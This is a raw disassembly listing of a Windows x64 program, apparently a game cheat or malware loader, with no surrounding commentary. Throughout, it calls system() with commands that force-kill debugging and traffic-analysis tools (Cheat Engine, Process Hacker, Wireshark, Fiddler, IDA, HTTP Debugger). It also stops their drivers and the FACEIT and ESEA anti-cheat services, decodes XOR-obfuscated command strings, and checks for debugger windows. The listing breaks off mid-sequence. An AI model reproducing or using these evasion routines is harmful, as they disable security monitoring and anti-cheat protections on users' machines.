call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1308], xmm0
movdqa xmm1, xmmword [0x1400ee5f0]
movdqu xmmword [rbp + 0x1318], xmm1
mov word [rbp + 0x1328], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x132a], 1
lea rcx, [rbp + 0x1308]
call fcn.14005a8d0
lea rcx, [rbp + 0x1308]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1330], xmm0
movdqa xmm1, xmmword [0x1400ee600]
movdqu xmmword [rbp + 0x1340], xmm1
mov word [rbp + 0x1350], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1352], 1
lea rcx, [rbp + 0x1330]
call fcn.14005a8d0
lea rcx, [rbp + 0x1330]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee580]
movdqu xmmword [rbp + 0x4f8], xmm0
mov dword [rbp + 0x508], 0x82d5ca82
mov dword [rbp + 0x50c], 0xc2cf8298
mov dword [rbp + 0x510], 0xc2d4cf
mov byte [rbp + 0x514], 1
lea rcx, [rbp + 0x4f8]
call fcn.14005a8a0
lea rcx, [rbp + 0x4f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee560]
movdqu xmmword [rsp + 0x68], xmm0
mov dword [rsp + 0x78], 0xcad5d8c9
mov word [rsp + 0x7c], 0xdc
mov byte [rsp + 0x7e], 1
lea rcx, [rsp + 0x68]
call fcn.14005a870
lea rcx, [rsp + 0x68]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee570]
movdqu xmmword [rbp + 0x818], xmm0
mov dword [rbp + 0x828], 0xcc8e8480
mov dword [rbp + 0x82c], 0x9c9a80d3
mov dword [rbp + 0x830], 0xd2cdc0d1
mov word [rbp + 0x834], Ordinal_200
mov byte [rbp + 0x836], 1
lea rcx, [rbp + 0x818]
call fcn.14005a840
lea rcx, [rbp + 0x818]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.HTTP_Debugger
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140051cf5
lea rax, [rbp + 0xbd8]
mov qword [rbp + 0x2090], rax
movzx edx, byte [rbp + 0x2090]
lea rcx, [rbp + 0xbd8]
call fcn.14004efa0
nop
xor r8d, r8d
lea rdx, [0x1400e06e2]
lea rcx, [rbp + 0xbd8]
call fcn.14004efc0
nop
lea rdx, [rbp + 0xbd8]
lea rcx, [0x140102610]
call fcn.1400750c0
call fcn.14004f740
lea rcx, str.net_stop_FACEIT__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_ESEADriver2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5c0]
movdqu xmmword [rbp + 0x1f8], xmm0
mov dword [rbp + 0x208], 0x809e84d7
mov dword [rbp + 0x20c], 0xd6d1dccd
mov word [rbp + 0x210], Ordinal_200
mov byte [rbp + 0x212], 1
lea rcx, [rbp + 0x1f8]
call fcn.14005a930
lea rcx, [rbp + 0x1f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee550]
movdqu xmmword [rbp + 0xbf8], xmm0
mov dword [rbp + 0xc08], 0xde998f9f
mov dword [rbp + 0xc0c], 0x8581d0cd
mov dword [rbp + 0xc10], 0xcac1d29d
mov dword [rbp + 0xc14], 0x100c7d3
lea rcx, [rbp + 0xbf8]
call fcn.14005a900
lea rcx, [rbp + 0xbf8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5a0]
movdqu xmmword [rbp + 0x1358], xmm0
movdqa xmm1, xmmword [0x1400ee5d0]
movdqu xmmword [rbp + 0x1368], xmm1
mov word [rbp + 0x1378], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x137a], 1
lea rcx, [rbp + 0x1358]
call fcn.14005a8d0
lea rcx, [rbp + 0x1358]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1380], xmm0
movdqa xmm1, xmmword [0x1400ee5e0]
movdqu xmmword [rbp + 0x1390], xmm1
mov word [rbp + 0x13a0], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x13a2], 1
lea rcx, [rbp + 0x1380]
call fcn.14005a8d0
lea rcx, [rbp + 0x1380]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x13a8], xmm0
movdqa xmm1, xmmword [0x1400ee5f0]
movdqu xmmword [rbp + 0x13b8], xmm1
mov word [rbp + 0x13c8], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x13ca], 1
lea rcx, [rbp + 0x13a8]
call fcn.14005a8d0
lea rcx, [rbp + 0x13a8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x13d0], xmm0
movdqa xmm1, xmmword [0x1400ee600]
movdqu xmmword [rbp + 0x13e0], xmm1
mov word [rbp + 0x13f0], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x13f2], 1
lea rcx, [rbp + 0x13d0]
call fcn.14005a8d0
lea rcx, [rbp + 0x13d0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee580]
movdqu xmmword [rbp + 0x518], xmm0
mov dword [rbp + 0x528], 0x82d5ca82
mov dword [rbp + 0x52c], 0xc2cf8298
mov dword [rbp + 0x530], 0xc2d4cf
mov byte [rbp + 0x534], 1
lea rcx, [rbp + 0x518]
call fcn.14005a8a0
lea rcx, [rbp + 0x518]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee560]
movdqu xmmword [rbp - 0x80], xmm0
mov dword [rbp - 0x70], 0xcad5d8c9
mov word [rbp - 0x6c], 0xdc
mov byte [rbp - 0x6a], 1
lea rcx, [rbp - 0x80]
call fcn.14005a870
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee570]
movdqu xmmword [rbp + 0x838], xmm0
mov dword [rbp + 0x848], 0xcc8e8480
mov dword [rbp + 0x84c], 0x9c9a80d3
mov dword [rbp + 0x850], 0xd2cdc0d1
mov word [rbp + 0x854], Ordinal_200
mov byte [rbp + 0x856], 1
lea rcx, [rbp + 0x838]
call fcn.14005a840
lea rcx, [rbp + 0x838]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.x64dbg
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140052162
lea rax, [rbp + 0xc18]
mov qword [rbp + 0x2090], rax
movzx edx, byte [rbp + 0x2090]
lea rcx, [rbp + 0xc18]
call fcn.14004efa0
nop
xor r8d, r8d
lea rdx, [0x1400e06e2]
lea rcx, [rbp + 0xc18]
call fcn.14004efc0
nop
lea rdx, [rbp + 0xc18]
lea rcx, [0x140102610]
call fcn.1400750c0
call fcn.14004f740
lea rcx, str.net_stop_FACEIT__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_ESEADriver2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5c0]
movdqu xmmword [rbp + 0x218], xmm0
mov dword [rbp + 0x228], 0x809e84d7
mov dword [rbp + 0x22c], 0xd6d1dccd
mov word [rbp + 0x230], Ordinal_200
mov byte [rbp + 0x232], 1
lea rcx, [rbp + 0x218]
call fcn.14005a930
lea rcx, [rbp + 0x218]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee550]
movdqu xmmword [rbp + 0xc38], xmm0
mov dword [rbp + 0xc48], 0xde998f9f
mov dword [rbp + 0xc4c], 0x8581d0cd
mov dword [rbp + 0xc50], 0xcac1d29d
mov dword [rbp + 0xc54], 0x100c7d3
lea rcx, [rbp + 0xc38]
call fcn.14005a900
lea rcx, [rbp + 0xc38]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5a0]
movdqu xmmword [rbp + 0x13f8], xmm0
movdqa xmm1, xmmword [0x1400ee5d0]
movdqu xmmword [rbp + 0x1408], xmm1
mov word [rbp + 0x1418], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x141a], 1
lea rcx, [rbp + 0x13f8]
call fcn.14005a8d0
lea rcx, [rbp + 0x13f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1420], xmm0
movdqa xmm1, xmmword [0x1400ee5e0]
movdqu xmmword [rbp + 0x1430], xmm1
mov word [rbp + 0x1440], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1442], 1
lea rcx, [rbp + 0x1420]
call fcn.14005a8d0
lea rcx, [rbp + 0x1420]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1448], xmm0
movdqa xmm1, xmmword [0x1400ee5f0]
movdqu xmmword [rbp + 0x1458], xmm1
mov word [rbp + 0x1468], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x146a], 1
lea rcx, [rbp + 0x1448]
call fcn.14005a8d0
lea rcx, [rbp + 0x1448]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1470], xmm0
movdqa xmm1, xmmword [0x1400ee600]
movdqu xmmword [rbp + 0x1480], xmm1
mov word [rbp + 0x1490], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1492], 1
lea rcx, [rbp + 0x1470]
call fcn.14005a8d0
lea rcx, [rbp + 0x1470]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee580]
movdqu xmmword [rbp + 0x538], xmm0
mov dword [rbp + 0x548], 0x82d5ca82
mov dword [rbp + 0x54c], 0xc2cf8298
mov dword [rbp + 0x550], 0xc2d4cf
mov byte [rbp + 0x554], 1
lea rcx, [rbp + 0x538]
call fcn.14005a8a0
lea rcx, [rbp + 0x538]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee560]
movdqu xmmword [rbp - 0x68], xmm0
mov dword [rbp - 0x58], 0xcad5d8c9
mov word [rbp - 0x54], 0xdc
mov byte [rbp - 0x52], 1
lea rcx, [rbp - 0x68]
call fcn.14005a870
lea rcx, [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee570]
movdqu xmmword [rbp + 0x858], xmm0
mov dword [rbp + 0x868], 0xcc8e8480
mov dword [rbp + 0x86c], 0x9c9a80d3
mov dword [rbp + 0x870], 0xd2cdc0d1
mov word [rbp + 0x874], Ordinal_200
mov byte [rbp + 0x876], 1
lea rcx, [rbp + 0x858]
call fcn.14005a840
lea rcx, [rbp + 0x858]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.dnSpy
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400525cf
lea rax, [rbp + 0xc58]
mov qword [rbp + 0x2090], rax
movzx edx, byte [rbp + 0x2090]
lea rcx, [rbp + 0xc58]
call fcn.14004efa0
nop
xor r8d, r8d
lea rdx, [0x1400e06e2]
lea rcx, [rbp + 0xc58]
call fcn.14004efc0
nop
lea rdx, [rbp + 0xc58]
lea rcx, [0x140102610]
call fcn.1400750c0
call fcn.14004f740
lea rcx, str.net_stop_FACEIT__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_ESEADriver2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5c0]
movdqu xmmword [rbp + 0x238], xmm0
mov dword [rbp + 0x248], 0x809e84d7
mov dword [rbp + 0x24c], 0xd6d1dccd
mov word [rbp + 0x250], Ordinal_200
mov byte [rbp + 0x252], 1
lea rcx, [rbp + 0x238]
call fcn.14005a930
lea rcx, [rbp + 0x238]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee550]
movdqu xmmword [rbp + 0xc78], xmm0
mov dword [rbp + 0xc88], 0xde998f9f
mov dword [rbp + 0xc8c], 0x8581d0cd
mov dword [rbp + 0xc90], 0xcac1d29d
mov dword [rbp + 0xc94], 0x100c7d3
lea rcx, [rbp + 0xc78]
call fcn.14005a900
lea rcx, [rbp + 0xc78]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5a0]
movdqu xmmword [rbp + 0x1498], xmm0
movdqa xmm1, xmmword [0x1400ee5d0]
movdqu xmmword [rbp + 0x14a8], xmm1
mov word [rbp + 0x14b8], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x14ba], 1
lea rcx, [rbp + 0x1498]
call fcn.14005a8d0
lea rcx, [rbp + 0x1498]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x14c0], xmm0
movdqa xmm1, xmmword [0x1400ee5e0]
movdqu xmmword [rbp + 0x14d0], xmm1
mov word [rbp + 0x14e0], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x14e2], 1
lea rcx, [rbp + 0x14c0]
call fcn.14005a8d0
lea rcx, [rbp + 0x14c0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x14e8], xmm0
movdqa xmm1, xmmword [0x1400ee5f0]
movdqu xmmword [rbp + 0x14f8], xmm1
mov word [rbp + 0x1508], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x150a], 1
lea rcx, [rbp + 0x14e8]
call fcn.14005a8d0
lea rcx, [rbp + 0x14e8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1510], xmm0
movdqa xmm1, xmmword [0x1400ee600]
movdqu xmmword [rbp + 0x1520], xmm1
mov word [rbp + 0x1530], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1532], 1
lea rcx, [rbp + 0x1510]
call fcn.14005a8d0
lea rcx, [rbp + 0x1510]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee580]
movdqu xmmword [rbp + 0x558], xmm0
mov dword [rbp + 0x568], 0x82d5ca82
mov dword [rbp + 0x56c], 0xc2cf8298
mov dword [rbp + 0x570], 0xc2d4cf
mov byte [rbp + 0x574], 1
lea rcx, [rbp + 0x558]
call fcn.14005a8a0
lea rcx, [rbp + 0x558]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee560]
movdqu xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x40], 0xcad5d8c9
mov word [rbp - 0x3c], 0xdc
mov byte [rbp - 0x3a], 1
lea rcx, [rbp - 0x50]
call fcn.14005a870
lea rcx, [rbp - 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
